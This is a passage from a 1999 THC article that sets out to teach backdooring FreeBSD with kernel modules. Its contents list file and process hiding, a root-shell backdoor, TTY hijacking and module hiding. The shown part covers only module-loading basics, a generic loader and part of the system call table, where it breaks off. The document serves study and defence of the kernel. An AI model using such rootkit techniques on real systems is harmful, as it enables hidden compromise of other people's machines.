2 <TITLE>- Attacking FreeBSD with Kernel Modules -</title>
5 <H1><FONT COLOR=#0000FF>
6 - Attacking FreeBSD with Kernel Modules -
11 The System Call Approach
16 <H4><FONT COLOR=#FF0000>
17 written by pragmatic / THC, version 1.0<br>
34 <A HREF="#Introduction"> Introduction</A><BR>
37 <A HREF="#I.">I.Basics</A><BR>
39 <A HREF="#I.1.">1. FreeBSD 'Modules' - 'Hello World' Syscall Example</A><BR>
40 <A HREF="#I.2.">2. Link Files and Modules - the difference </A><BR>
41 <A HREF="#I.2.1.">2.1 A two in one example</A><BR>
42 <A HREF="#I.3.">3. Diary of a module load process from the kernel
44 <A HREF="#I.4.">4. Other kinds of modules</A><BR>
45 <A HREF="#I.5.">5. MISC modules with the KLD scheme</A><BR>
46 <A HREF="#I.6.">6. System calls on FreeBSD</A><BR>
47 <A HREF="#I.6.1."> 6.1 Important system calls for hacking</A><BR>
48 <A HREF="#I.7.">7. Important Kernel structures / lists</A><BR>
49 <A HREF="#I.7.1."> 7.1 TheSeeker - or how to access kernel lists</A><BR>
50 <A HREF="#I.8.">8. From User to kernel space and back</A><BR>
51 <A HREF="#I.9.">9. Last Words</A><BR>
55 <A HREF="#II.">II. Attacking with kernel code</A><BR>
57 <A HREF="#II.1.">1. How to intercept Syscalls</A><BR>
58 <A HREF="#II.2.">2. Filesystem related hacks</A><BR>
59 <A HREF="#II.2.1.">2.1 How to hide files</A><BR>
60 <A HREF="#II.2.2.">2.2 How to hide the file contents</A><BR>
61 <A HREF="#II.2.3.">2.3 And the rest ?</A><BR>
62 <A HREF="#II.3.">3. Process related hacks</A><BR>
63 <A HREF="#II.3.1.">3.1 How to hide any process</A><BR>
64 <A HREF="#II.3.2.">3.2 backdoor 'rootshell'</A><BR>
65 <A HREF="#II.4.">4. file execution redirection</A><BR>
66 <A HREF="#II.5.">5. TTY hijacking</A><BR>
67 <A HREF="#II.6.">6. Hiding the module</A><BR>
68 <A HREF="#II.7.">7. Last words</A><BR>
72 <A HREF="#III.">III. Securing the kernel</A><BR>
74 <A HREF="#III.1.">1. How to detect sysent[] modifications</A><BR>
75 <A HREF="#III.2.">2. How to restore old system calls</A><BR>
76 <A HREF="#III.3.">3. General ideas for using MD5 Hashes</A><BR>
77 <A HREF="#III.4.">4. How to see a hidden process</A><BR>
81 <A HREF="#IV.">IV. Last things to mention</A><BR>
83 <A HREF="#IV.1.">1. What about OpenBSD and NetBSD</A><BR>
84 <A HREF="#IV.2.">2. Links</A><BR>
85 <A HREF="#IV.3.">3. Greetings</A><BR>
89 <H3><A NAME="Introduction"></A>Introduction</H3>
91 FreeBSD is an often used server operating system. Lots of ISPs, universities
92 and some firms are using it. After releasing my Linux LKM text van Hauser asked
93 my to take a look at the FreeBSD kernel, so here we go.<br>
94 This text will show you that most Linux LKMs can be ported to BSD systems
95 (FreeBSD). On FreeBSD we can even do some things that were harder to
96 implement on Linux systems. This text only deals with ways to
97 backdoor/intercept system calls. I had a little conversation with Solar
98 Designer who tought me that there are lots of other ways to attack the FreeBSD
99 kernel, but this will come in a further release.<br>
100 For those people new to BSD and module techniques I really suggest reading my
101 '(nearly) Complete Linux Loadable Kernel Module' article
102 (http://www.thc.org). Of course this FreeBSD text has a basic section, but
103 the basic part of the Linux text is much more comprehensive and easier to
104 understand. The Linux text will give you the basic ideas for understanding
105 most stuff I mention here. People who already did some kernel coding under
106 FreeBSD, who can read and understand kernel code and those who did some LKM
107 hacking on Linux boxes can read on without any problems. Bear in mind that the
108 main aim of this text is to show some new ideas to attack/backdoor FreeBSD
109 systems, and not to teach you FreeBSD kernel coding. So I made it as short and
110 complete as I can. I developed all modules on a FreeBSD 3.1 system (x86). I
111 used the new KLD scheme - introduced by FreeBSD 3.0 - to insert kernel code.
112 Older FreeBSD systems which work with LKMs (/dev/lkm) can also be used, but
113 there must be some modifications to the code in order to make them work. The
114 general ideas in this text should also work on OpenBSD and NetBSD. For kernel
115 gurus : Don't blame me for the bad coding style I used in this paper
116 sometimes, but very compact code is harder to understand,to read and even
117 harder to explain. And please remember : This text is for educational purpose
119 Note : I only know of one text dealing with the problems and solutions
120 I describe here. That older text written by halflife (see Phrack Magazine
121 Volume 7, Issue 51 September 01, 1997, article 09) showed how to hide LKMs
122 under FreeBSD 2.2 systems and how to hide certain files from directory
123 listings (the goal was to avoid integrity checks). Due to the fact that you
124 can do much more stuff with modules and that FreeBSD changed a lot (LKMs are
125 gone...) I wrote this text.
128 <H3><A NAME="I."></A>I. Basics</H3>
130 This section will give you a very brief and easy (so partly incomplete) but
131 working overview of the FreeBSD way to insert code via modules. <br>
132 The problem concerning FreeBSD is the lack of documentation. There is only a
133 very small and elite group of programmers working on the kernel. At the time
134 of writing (May '99) I was not able to find any
135 good documentation helping us to dive deep into the kernel. So we have to go
136 the hardest but best way : reading source code. Because of this there may be
137 some minor errors in some explainations I give you, but every piece of code is
138 working and the general view should be correct ;)!<br>
140 <H3><A NAME="I.1."</A>1. FreeBSD 'Modules' - 'Hello World' Syscall Example</H3>
142 Before starting to explain I will present you a module example which installs
143 a system call that will print a simple message on the screen. I also included
144 the user space part. You may know this example, I took it from the FreeBSD
145 distribution (I only added some comments).
148 #include <sys/types.h>
149 #include <sys/param.h>
150 #include <sys/proc.h>
151 #include <sys/module.h>
152 #include <sys/sysent.h>
153 #include <sys/kernel.h>
154 #include <sys/systm.h>
157 /*this is the function which represents our system call*/
159 hello (struct proc *p, void *arg)
161 printf ("hello kernel\n");
165 /*on FreeBSD every system call is described by a sysent structure, which holds
166 the corresponding system call function (here hello) and the appropriate count
167 of arguments (here 0)*/
169 static struct sysent hello_sysent = {
175 /*every system call has a certain number (called slot or offset on BSD). This
176 number represents the index in the global sysent list holding every syscall.
177 BSD is able to search a free slot for a syscall (by setting it to NO_SYSCALL)
178 which is used here.*/
180 static int offset = NO_SYSCALL;
182 /*this function can be compared to the init_module & cleanup_module functions
183 on Linux. The differentiation is done via the cmd variable.*/
186 load (struct module *module, int cmd, void *arg)
194 printf ("syscall loaded at %d\n", offset);
196 /*we have an unload*/
198 printf ("syscall unloaded from %d\n", offset);
207 /*This is the most tricky part of this module. That macro will install the
208 module and calls the required functions. We will take a deeper look at this
210 SYSCALL_MODULE(syscall, &offset, &hello_sysent, load, NULL);
213 Compiling this module is very easy on FreeBSD. We just use an universal
214 Makefile which is very easy because of the nice MK files used by FreeBSD (BSD).
223 .include <bsd.kmod.mk>
225 Aren't those MK file a good idea :). So after comiling you get a file called
226 helloworld.ko. This file is in ELF format (so no pure object file). <br>
227 Take a look at the FreeBSD user space example calling this system call.
230 #include <sys/syscall.h>
231 #include <sys/types.h>
232 #include <sys/module.h>
235 main(int argc, char **argv)
239 struct module_stat stat;
241 stat.version = sizeof(stat);
242 /*modstat will retrieve the module_stat structure for our module named
243 syscall (see the SYSCALL_MODULE macro which sets the name to syscall)*/
244 modstat(modfind("syscall"), &stat);
245 /*extract the slot (syscall) number*/
246 syscall_num = stat.data.intval;
247 /*and call it without any arguments (because we didn't include support for
249 return syscall (syscall_num);
252 You can compile this the following way (it's too easy to waste time with a
257 Now you have a working module which will install a system call you can
258 call from user space with this little call program.
259 You can load the module with
261 # kldload ./helloworld.ko
265 # kldunlod helloworld
271 you will get a list of loaded link files (NOT modules).
272 Before reading on, you should understand the global scheme used in the sources
276 <H3><A NAME="I.2."></A>2. Link Files and Modules - the difference</H3>
279 There is a big difference between the output presented by kldstat and the
280 loaded modules. A module on FreeBSD means some part of the kernel, an exec
281 driver, a system call module, a device driver... The kernel itself contains
282 some modules (FS support for example). A link file on the other hand is
283 something like a wrapper which can hold lots of modules. So our helloworld
284 example from above is one module wrapped in the link file helloworld.ko.<br>
285 So in general words : A module is just a bit of structured kernel code that
286 represents a certain driver (exec format, device, for example) or whatever. A
287 link file is just a file holding one or more modules which will be inserted
288 into the kernel. <br>
289 For those who want to know it exactly; here is the definition by Doug Rabson :
292 The kernel linker simply dynamically loads code into the kernel. A
293 symbol table is included in the kernel by ld(1) in the same way as
294 for dynamically linked user programs. As files are loaded, the code
295 is relocated and any unresolved symbols are matched against the
296 kernel's symbol table. Files can also include a list of dependencies
297 to allow code which is common to several files to be loaded
298 automatically. The kernel can load files without help from a user
299 program (in contrast to the older LKM system) and the kernel
300 bootstrap can also pre-load files, allowing devices which needed
301 before the root disk is available to be dynamically loaded instead of
302 statically linked into the kernel.
303 As code is loaded, any SYSINITs which it contains are
304 run. This makes it possible to write code which is identical whether
305 it is statically or dynamically loaded. When a file is unloaded, a
306 similar list of functions defined by SYSUNINIT is run.
309 Layered on top of the kernel linker is the module system. It uses
310 a SYSINIT to implement a simple event system for code which
311 is loaded. The idea is that a piece of code defines a module (using
312 DECLARE_MODULE) and supplies a handler routine. The handler
313 is called at load, unload and shutdown to allow the module to
314 initialise itself. Various kernel subsystems provide generic handler
315 functions for registering filesystems, devices or whatever and they
316 generally provide a macro which wraps DECLARE_MODULE (e.g.
319 I hope you got the idea, if not read on and re-read this part until you
320 understand it totally.
323 <H3><A NAME="I.2.1."></A>2.1 A two in one example</H3>
326 This example is just a proof of concept. It shows how to pack two modules in
327 one file using the linker mechanics (two SYSINITs wrapped by SYSCALL_MODULE
330 #include <sys/types.h>
331 #include <sys/param.h>
332 #include <sys/proc.h>
333 #include <sys/module.h>
334 #include <sys/sysent.h>
335 #include <sys/kernel.h>
336 #include <sys/systm.h>
338 /*this is the function our first syscall module (syscall_1) will use*/
340 hello_1 (struct proc *p, void *arg)
342 printf ("hello kernel from syscall_1\n");
346 /*this is the function our second syscall module (syscall_2) will use*/
348 hello_2 (struct proc *p, void *arg)
350 printf ("hello kernel from syscall_2\n");
355 /*first sysent structure which describes the first system call*/
356 static struct sysent hello_sysent_1 = {
358 hello_1 /* sy_call */
362 /*second sysent structure which describes the second system call*/
363 static struct sysent hello_sysent_2 = {
365 hello_2 /* sy_call */
369 /*both system call slots (numbers) should be selected by the kernel*/
370 static int offset_1 = NO_SYSCALL;
371 static int offset_2 = NO_SYSCALL;
373 /*the two load functions*/
375 load_1 (struct module *module, int cmd, void *arg)
381 printf ("syscall_1 loaded at %d\n", offset_1);
384 printf ("syscall_1 unloaded from %d\n", offset_1);
394 load_2 (struct module *module, int cmd, void *arg)
400 printf ("syscall_2 loaded at %d\n", offset_2);
403 printf ("syscall_2 unloaded from %d\n", offset_2);
412 /*install the first module (NAME : syscall_1)*/
413 SYSCALL_MODULE(syscall_1, &offset_1, &hello_sysent_1, load_1, NULL);
415 /*install the second module (NAME : syscall_2)*/
416 SYSCALL_MODULE(syscall_2, &offset_2, &hello_sysent_2, load_2, NULL);
419 You can use the same Makefile for the link file above. As you can see I
420 duplicated every item in this file. This way I implemented two totally
421 independend modules packed in one link file. The name of the first module is
422 'syscall_1' and the second module's name is 'syscall_2'.<br>
423 The following piece of code is the needed user space part which will find
424 both modules and call their system calls.
427 #include <sys/syscall.h>
428 #include <sys/types.h>
429 #include <sys/module.h>
433 main(int argc, char **argv)
437 struct module_stat stat;
440 stat.version = sizeof(stat);
441 modstat(modfind("syscall_1"), &stat);
442 syscall_num = stat.data.intval;
443 syscall (syscall_num);
446 stat.version = sizeof(stat);
447 modstat(modfind("syscall_2"), &stat);
448 syscall_num = stat.data.intval;
449 syscall (syscall_num);
452 After this example you should understand the concept of packing modules in
456 <H3><A NAME="I.3."></A>3. Diary of a module load process from the kernel
459 For total Beginners : I suppose those without a going C and BSD knowledge have
460 to 'fight' with this part but I can't loose too many words here (the text would
461 become far too big); so I pack everything in a short summary. This section is
462 only a very brief and not very deep introduction into the module / link file
463 handling made by the kernel, but it is enough to understand the rest of this
465 The following code represents the helloworld example in a form where I
466 'resolved' the SYSCALL_MODULE macro. I just coded everything by hand (only the
467 last part [SYSCALL_MODULE macro] changed) so things become clearer:
469 #include <sys/types.h>
470 #include <sys/param.h>
471 #include <sys/proc.h>
472 #include <sys/module.h>
473 #include <sys/sysent.h>
474 #include <sys/kernel.h>
475 #include <sys/systm.h>
478 hello (struct proc *p, void *arg)
480 printf ("hello kernel from syscall_1\n");
484 static struct sysent hello_sysent = {
489 static int offset = NO_SYSCALL;
492 load (struct module *module, int cmd, void *arg)
498 printf ("syscall loaded at %d\n", offset);
501 printf ("syscall unloaded from %d\n", offset);
511 /*The following lines do the same as :
512 --------------------------------------
513 SYSCALL_MODULE(syscall, &offset, &hello_sysent, load, NULL);
516 /*fill the X_syscall_mod structure made only for syscall modules*/
517 static struct syscall_module_data syscall_syscall_mod = {
518 load, NULL, &offset, &hello_sysent
521 /*fill the module structure; the same for any module*/
522 static moduledata_t syscall_mod = {
524 syscall_module_handler, /*special handler for syscall modules*/
525 &syscall_syscall_mod /*speciel syscall module data*/
528 /*the sysinit structure for starting / registering*/
529 static struct sysinit syscall_sys_init = {
530 SI_SUB_DRIVERS, /*SUBSYSTEM*/
531 SI_ORDER_MIDDLE, /*ORDER*/
532 module_register_init, /*the same for any module, register function*/
533 &syscall_mod /*module specific data*/
536 /*we want hack at this layer, it just initializing some regions*/
537 static void const * const
538 __set_sysinit_set_sym_syscall_sys_init=&syscall_sys_init;
539 __asm(".section .set.""sysinit_set"",\"aw\"");
540 __asm(".long " "syscall_sys_init");
544 Now let's start from the kldload command which is implemented as a system call
545 in kern_linker.c. This system call first checks the securelevel (if > 0 then it
546 won't work) after this it will check for UID=0. Then the kernel checks
547 whether this link file is already loaded, if so it will abort. If everything
548 is ok so far, it will call linker_load_file (kern_linker.c). After some checks
549 this function will fill a linker_file structure and pass it to
550 linker_file_sysinit (kern_linker.c). This function will use the
551 syscall_sysinit_set structure (see example above) for initialization. That
552 structure is defined in kernel.h. Normally it is defined by macros
553 (we used the hand-made approach to see things clear). Here is the structure :
556 unsigned int subsystem; /* subsystem identifier*/
557 unsigned int order; /* init order within subsystem*/
558 void (*func) __P((void *)); /* init function*/
559 void *udata; /* multiplexer/argument */
560 si_elem_t type; /* sysinit_elem_type*/
563 The type field is set automatically so I did not set it by hand. The subsystem
564 and order codes are also defined in kernel.h. The function pointer points to a
565 function that is called at module startup with udata as parameter. As you can
566 see in the example above the module_register_init function (kern_module.c) is
567 called with the module data structure holding the module specific data. So our
568 next step must be this function. <br>
569 This function extracts the data from the argument it gets (the module data
570 structure). After this the module_register function (kern_module.c) is called
571 with the extracted data. This function first sets some fields of the module
572 structure (represented by a pointer to it called module_t) which is used by the
573 kernel to descibe any loaded module. After setting every field the module
574 (represented by the now filled module structure) is added to the global
575 module list (called modules). For a better understanding I put the module
576 structure here plus a short description :
579 /*the first two entries are just for global module handling*/
580 TAILQ_ENTRY(module) link;
581 TAILQ_ENTRY(module) flink;
582 /*this linker_file structure describes the link file the module comes from*/
583 struct linker_file* file;
584 /*references to this module (reference cound)*/
586 /*id of this module*/
588 /*name of this module*/
590 /*the mod handler (in our case the load function)*/
591 modeventhand_t handler;
592 /*arguments to the mod handler*/
594 /*some - for us not very interesting - data fields*/
598 Finally the module_register function calls the modeventhand_t field of the
599 module structure (in our case : the syscall_module_handler) with the MOD_LOAD
600 command (cmd see example) argument. This function is defined in
601 kern_syscalls.c. On MOD_LOAD it calls syscall_register
602 (kern_syscalls.c) with the new sysentry and other stuff needed for installing
603 the system call. So let's say that syscall_register installed the system call
604 and returns (this stuff is not so interesting for us, we will use a more easy
605 way to 'hack' system calls). The last piece of code in syscall_module_handler
606 calls the self-defined load function (see example) with the same command field
607 (on startup MOD_LOAD). This way the module developer is able to do his own
608 stuff on LOAD and UNLOAD.<br>
609 Now we are ready. The module is loaded and started, and the system call is
610 installed. Recall that this example was written for a specific module - a
611 SYSCALL_MODULE. There are other module types (like device drivers etc.).
612 Please read the Kernel sources again and again and compare them to this part.
613 Everything should be clear.
616 <H3><A NAME="I.4."></A>4. Other kinds of module</h3>
618 As I said before the helloworld example module is a special so called
619 SYSCALL_MODULE that is used to install a certain system call. FreeBSD provides
620 other macros and module layouts for different aims. Take a look at the driver
621 example that is shipped with FreeBSD. I won't discuss it here, because we will
622 never use the standard way of coding FreeBSD forces us to. <br>
623 The next section will show how to become independent from those standard
627 <H3><A NAME="I.5."></A>5. MISC modules with the KLD scheme</h3>
629 When I first coded some modules on FreeBSD (on an older 2.2.x release) I was
630 able to use so called MISC_MODULES. Instead of providing a certain layout for
631 special purposes (like SYSCALL_MODULE for system calls etc.) a MISC_MODULE was
632 just some piece of code loaded into the kernel, and calling the 'load' function
633 written by me. This scheme was ideal for hacking, because I was not forced to
634 implement a special kind of module. I had a fast and easy way to insert any
635 kernel code. These days are gone on FreeBSD 3.x because the KLD scheme
636 provides no MISC_MODULES like the LKM one did. So my first modules (like a
637 hide module etc.) did the hacking part, but also installed a system call (I
638 used SYSCALL_MODULES). This was no good solution. So I decided to create a
639 general module layout which will do the same like the old MISC_MODULES on LKM
640 systems : just call a 'load' function and nothing else. <br>
641 The following piece of code represents a MISC_MODULE for FreeBSD 3.x
642 systems using the KLD method :
644 #include <sys/types.h>
645 #include <sys/param.h>
646 #include <sys/proc.h>
647 #include <sys/module.h>
648 #include <sys/sysent.h>
649 #include <sys/kernel.h>
650 #include <sys/systm.h>
651 #include <sys/linker.h>
652 #include <sys/sysproto.h>
653 #include <sys/sysent.h>
654 #include <sys/proc.h>
655 #include <sys/syscall.h>
657 /*our own 'load' function*/
659 dummy_handler(struct module *mod, int what, void *arg)
674 /*NOTE : The following stuff 'links' our module into the kernel and calls
675 dummy_handler as our installation routine. I didn't use any macro
676 supplied by some header file for making module coding a bit easier.
677 But this way you will see every piece of code responsible for loading
681 /*fill the module structure*/
682 static moduledata_t dummy_mod = {
684 dummy_handler, /*normally you would find something like
685 syscall_module_handler here*/
686 NULL /*normally you would find something like
687 syscall_module_data here (argument for the
688 syscall_module_handler)*/
691 /*the rest is the same*/
692 static struct sysinit syscall_sys_init = {
693 SI_SUB_DRIVERS, /*SUBSYSTEM*/
694 SI_ORDER_MIDDLE, /*ORDER*/
695 module_register_init, /*the same for any module*/
700 /*We can leave this the same, it will work without modification...*/
701 static void const * const
702 __set_sysinit_set_sym_syscall_sys_init=&syscall_sys_init;
703 __asm(".section .set.""sysinit_set"",\"aw\"");
704 __asm(".long " "syscall_sys_init");
708 Compile this module and load it. The only thing it will do is printing a string
709 on load and unload. I must admit that the module above is a bit too long for
710 everyday coding. So I use one macro defined by the system which will make the
711 module a bit shorter but acting the same way. Replace the last lines with
716 static moduledata_t dummy_mod = {
722 DECLARE_MODULE(dummy, dummy_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
724 Now our module is quite short and works like a MISC_MODULE on LKM systems.
725 Any code we want to execute on the kernel layer can be written into the
726 dummy_handler function.
729 <H3><A NAME="I.6."></A>6. System calls on FreeBSD</h3>
731 My Linux LKM article did a quite good job in explaining the way system calls
732 in general work. I won't repeat those words here, so I only give you BSD
733 relevant and needed material.<br>
734 The following list represents every system call that is present by startup on
735 a FreeBSD 3.1 system (I took this list form init_sysents.c):
737 struct sysent sysent[] = {
738 { 0, (sy_call_t *)nosys }, /* 0 = syscall */
739 { 1, (sy_call_t *)exit }, /* 1 = exit */
740 { 0, (sy_call_t *)fork }, /* 2 = fork */
741 { 3, (sy_call_t *)read }, /* 3 = read */
742 { 3, (sy_call_t *)write }, /* 4 = write */
743 { 3, (sy_call_t *)open }, /* 5 = open */
744 { 1, (sy_call_t *)close }, /* 6 = close */
745 { 4, (sy_call_t *)wait4 }, /* 7 = wait4 */
746 { compat(2,creat) }, /* 8 = old creat */
747 { 2, (sy_call_t *)link }, /* 9 = link */
748 { 1, (sy_call_t *)unlink }, /* 10 = unlink */
749 { 0, (sy_call_t *)nosys }, /* 11 = obsolete execv */
750 { 1, (sy_call_t *)chdir }, /* 12 = chdir */
751 { 1, (sy_call_t *)fchdir }, /* 13 = fchdir */
752 { 3, (sy_call_t *)mknod }, /* 14 = mknod */
753 { 2, (sy_call_t *)chmod }, /* 15 = chmod */
754 { 3, (sy_call_t *)chown }, /* 16 = chown */
755 { 1, (sy_call_t *)obreak }, /* 17 = break */
756 { 3, (sy_call_t *)getfsstat }, /* 18 = getfsstat */
757 { compat(3,lseek) }, /* 19 = old lseek */
758 { 0, (sy_call_t *)getpid }, /* 20 = getpid */
759 { 4, (sy_call_t *)mount }, /* 21 = mount */
760 { 2, (sy_call_t *)unmount }, /* 22 = unmount */
761 { 1, (sy_call_t *)setuid }, /* 23 = setuid */
762 { 0, (sy_call_t *)getuid }, /* 24 = getuid */
763 { 0, (sy_call_t *)geteuid }, /* 25 = geteuid */
764 { 4, (sy_call_t *)ptrace }, /* 26 = ptrace */
765 { 3, (sy_call_t *)recvmsg }, /* 27 = recvmsg */
766 { 3, (sy_call_t *)sendmsg }, /* 28 = sendmsg */
767 { 6, (sy_call_t *)recvfrom }, /* 29 = recvfrom */
768 { 3, (sy_call_t *)accept }, /* 30 = accept */
769 { 3, (sy_call_t *)getpeername }, /* 31 = getpeername */
770 { 3, (sy_call_t *)getsockname }, /* 32 = getsockname */
771 { 2, (sy_call_t *)access }, /* 33 = access */
772 { 2, (sy_call_t *)chflags }, /* 34 = chflags */
773 { 2, (sy_call_t *)fchflags }, /* 35 = fchflags */
774 { 0, (sy_call_t *)sync }, /* 36 = sync */
775 { 2, (sy_call_t *)kill }, /* 37 = kill */
776 { compat(2,stat) }, /* 38 = old stat */
777 { 0, (sy_call_t *)getppid }, /* 39 = getppid */
778 { compat(2,lstat) }, /* 40 = old lstat */
779 { 1, (sy_call_t *)dup }, /* 41 = dup */
780 { 0, (sy_call_t *)pipe }, /* 42 = pipe */
781 { 0, (sy_call_t *)getegid }, /* 43 = getegid */
782 { 4, (sy_call_t *)profil }, /* 44 = profil */
783 { 4, (sy_call_t *)ktrace }, /* 45 = ktrace */
784 { 3, (sy_call_t *)sigaction }, /* 46 = sigaction */
785 { 0, (sy_call_t *)getgid }, /* 47 = getgid */
786 { 2, (sy_call_t *)sigprocmask }, /* 48 = sigprocmask */
787 { 2, (sy_call_t *)getlogin }, /* 49 = getlogin */
788 { 1, (sy_call_t *)setlogin }, /* 50 = setlogin */
789 { 1, (sy_call_t *)acct }, /* 51 = acct */
790 { 0, (sy_call_t *)sigpending }, /* 52 = sigpending */
791 { 2, (sy_call_t *)sigaltstack }, /* 53 = sigaltstack */
792 { 3, (sy_call_t *)ioctl }, /* 54 = ioctl */
793 { 1, (sy_call_t *)reboot }, /* 55 = reboot */
794 { 1, (sy_call_t *)revoke }, /* 56 = revoke */
795 { 2, (sy_call_t *)symlink }, /* 57 = symlink */
796 { 3, (sy_call_t *)readlink }, /* 58 = readlink */
797 { 3, (sy_call_t *)execve }, /* 59 = execve */
798 { 1, (sy_call_t *)umask }, /* 60 = umask */
799 { 1, (sy_call_t *)chroot }, /* 61 = chroot */
800 { compat(2,fstat) }, /* 62 = old fstat */
801 { compat(4,getkerninfo) }, /* 63 = old getkerninfo */
802 { compat(0,getpagesize) }, /* 64 = old getpagesize */
803 { 3, (sy_call_t *)msync }, /* 65 = msync */
804 { 0, (sy_call_t *)vfork }, /* 66 = vfork */
805 { 0, (sy_call_t *)nosys }, /* 67 = obsolete vread */
806 { 0, (sy_call_t *)nosys }, /* 68 = obsolete vwrite */
807 { 1, (sy_call_t *)sbrk }, /* 69 = sbrk */
808 { 1, (sy_call_t *)sstk }, /* 70 = sstk */
809 { compat(6,mmap) }, /* 71 = old mmap */
810 { 1, (sy_call_t *)ovadvise }, /* 72 = vadvise */
811 { 2, (sy_call_t *)munmap }, /* 73 = munmap */
812 { 3, (sy_call_t *)mprotect }, /* 74 = mprotect */
813 { 3, (sy_call_t *)madvise }, /* 75 = madvise */
814 { 0, (sy_call_t *)nosys }, /* 76 = obsolete vhangup */
815 { 0, (sy_call_t *)nosys }, /* 77 = obsolete vlimit */
816 { 3, (sy_call_t *)mincore }, /* 78 = mincore */
817 { 2, (sy_call_t *)getgroups }, /* 79 = getgroups */
818 { 2, (sy_call_t *)setgroups }, /* 80 = setgroups */
819 { 0, (sy_call_t *)getpgrp }, /* 81 = getpgrp */
820 { 2, (sy_call_t *)setpgid }, /* 82 = setpgid */
821 { 3, (sy_call_t *)setitimer }, /* 83 = setitimer */
822 { compat(0,wait) }, /* 84 = old wait */
823 { 1, (sy_call_t *)swapon }, /* 85 = swapon */
824 { 2, (sy_call_t *)getitimer }, /* 86 = getitimer */
825 { compat(2,gethostname) }, /* 87 = old gethostname */
826 { compat(2,sethostname) }, /* 88 = old sethostname */
827 { 0, (sy_call_t *)getdtablesize }, /* 89 = getdtablesize */
828 { 2, (sy_call_t *)dup2 }, /* 90 = dup2 */
829 { 0, (sy_call_t *)nosys }, /* 91 = getdopt */
830 { 3, (sy_call_t *)fcntl }, /* 92 = fcntl */
831 { 5, (sy_call_t *)select }, /* 93 = select */
832 { 0, (sy_call_t *)nosys }, /* 94 = setdopt */
833 { 1, (sy_call_t *)fsync }, /* 95 = fsync */
834 { 3, (sy_call_t *)setpriority }, /* 96 = setpriority */
835 { 3, (sy_call_t *)socket }, /* 97 = socket */
836 { 3, (sy_call_t *)connect }, /* 98 = connect */
837 { compat(3,accept) }, /* 99 = old accept */
838 { 2, (sy_call_t *)getpriority }, /* 100 = getpriority */
839 { compat(4,send) }, /* 101 = old send */
840 { compat(4,recv) }, /* 102 = old recv */
841 { 1, (sy_call_t *)sigreturn }, /* 103 = sigreturn */
842 { 3, (sy_call_t *)bind }, /* 104 = bind */
843 { 5, (sy_call_t *)setsockopt }, /* 105 = setsockopt */
844 { 2, (sy_call_t *)listen }, /* 106 = listen */
845 { 0, (sy_call_t *)nosys }, /* 107 = obsolete vtimes */
846 { compat(3,sigvec) }, /* 108 = old sigvec */
847 { compat(1,sigblock) }, /* 109 = old sigblock */
848 { compat(1,sigsetmask) }, /* 110 = old sigsetmask */
849 { 1, (sy_call_t *)sigsuspend }, /* 111 = sigsuspend */
850 { compat(2,sigstack) }, /* 112 = old sigstack */
851 { compat(3,recvmsg) }, /* 113 = old recvmsg */
852 { compat(3,sendmsg) }, /* 114 = old sendmsg */
853 { 0, (sy_call_t *)nosys }, /* 115 = obsolete vtrace */
854 { 2, (sy_call_t *)gettimeofday }, /* 116 = gettimeofday */
855 { 2, (sy_call_t *)getrusage }, /* 117 = getrusage */
856 { 5, (sy_call_t *)getsockopt }, /* 118 = getsockopt */
857 { 0, (sy_call_t *)nosys }, /* 119 = resuba */
858 { 3, (sy_call_t *)readv }, /* 120 = readv */
859 { 3, (sy_call_t *)writev }, /* 121 = writev */
860 { 2, (sy_call_t *)settimeofday }, /* 122 = settimeofday */
861 { 3, (sy_call_t *)fchown }, /* 123 = fchown */
862 { 2, (sy_call_t *)fchmod }, /* 124 = fchmod */
863 { compat(6,recvfrom) }, /* 125 = old recvfrom */
864 { 2, (sy_call_t *)setreuid }, /* 126 = setreuid */
865 { 2, (sy_call_t *)setregid }, /* 127 = setregid */
866 { 2, (sy_call_t *)rename }, /* 128 = rename */
867 { compat(2,truncate) }, /* 129 = old truncate */
868 { compat(2,ftruncate) }, /* 130 = old ftruncate */
869 { 2, (sy_call_t *)flock }, /* 131 = flock */
870 { 2, (sy_call_t *)mkfifo }, /* 132 = mkfifo */
871 { 6, (sy_call_t *)sendto }, /* 133 = sendto */
872 { 2, (sy_call_t *)shutdown }, /* 134 = shutdown */
873 { 4, (sy_call_t *)socketpair }, /* 135 = socketpair */
874 { 2, (sy_call_t *)mkdir }, /* 136 = mkdir */
875 { 1, (sy_call_t *)rmdir }, /* 137 = rmdir */
876 { 2, (sy_call_t *)utimes }, /* 138 = utimes */
877 { 0, (sy_call_t *)nosys }, /* 139 = obsolete 4.2 sigreturn */
878 { 2, (sy_call_t *)adjtime }, /* 140 = adjtime */
879 { compat(3,getpeername) }, /* 141 = old getpeername */
880 { compat(0,gethostid) }, /* 142 = old gethostid */
881 { compat(1,sethostid) }, /* 143 = old sethostid */
882 { compat(2,getrlimit) }, /* 144 = old getrlimit */
883 { compat(2,setrlimit) }, /* 145 = old setrlimit */
884 { compat(2,killpg) }, /* 146 = old killpg */
885 { 0, (sy_call_t *)setsid }, /* 147 = setsid */
886 { 4, (sy_call_t *)quotactl }, /* 148 = quotactl */
887 { compat(0,quota) }, /* 149 = old quota */
888 { compat(3,getsockname) }, /* 150 = old getsockname */
889 { 0, (sy_call_t *)nosys }, /* 151 = sem_lock */
890 { 0, (sy_call_t *)nosys }, /* 152 = sem_wakeup */
891 { 0, (sy_call_t *)nosys }, /* 153 = asyncdaemon */
892 { 0, (sy_call_t *)nosys }, /* 154 = nosys */
893 { 2, (sy_call_t *)nosys }, /* 155 = nfssvc */
894 { compat(4,getdirentries) }, /* 156 = old getdirentries */
895 { 2, (sy_call_t *)statfs }, /* 157 = statfs */
896 { 2, (sy_call_t *)fstatfs }, /* 158 = fstatfs */
897 { 0, (sy_call_t *)nosys }, /* 159 = nosys */
898 { 0, (sy_call_t *)nosys }, /* 160 = nosys */
899 { 2, (sy_call_t *)nosys }, /* 161 = getfh */
900 { 2, (sy_call_t *)getdomainname }, /* 162 = getdomainname */
901 { 2, (sy_call_t *)setdomainname }, /* 163 = setdomainname */
902 { 1, (sy_call_t *)uname }, /* 164 = uname */
903 { 2, (sy_call_t *)sysarch }, /* 165 = sysarch */
904 { 3, (sy_call_t *)rtprio }, /* 166 = rtprio */
905 { 0, (sy_call_t *)nosys }, /* 167 = nosys */
906 { 0, (sy_call_t *)nosys }, /* 168 = nosys */
907 { 5, (sy_call_t *)semsys }, /* 169 = semsys */
908 { 6, (sy_call_t *)msgsys }, /* 170 = msgsys */
909 { 4, (sy_call_t *)shmsys }, /* 171 = shmsys */
910 { 0, (sy_call_t *)nosys }, /* 172 = nosys */
911 { 0, (sy_call_t *)nosys }, /* 173 = nosys */
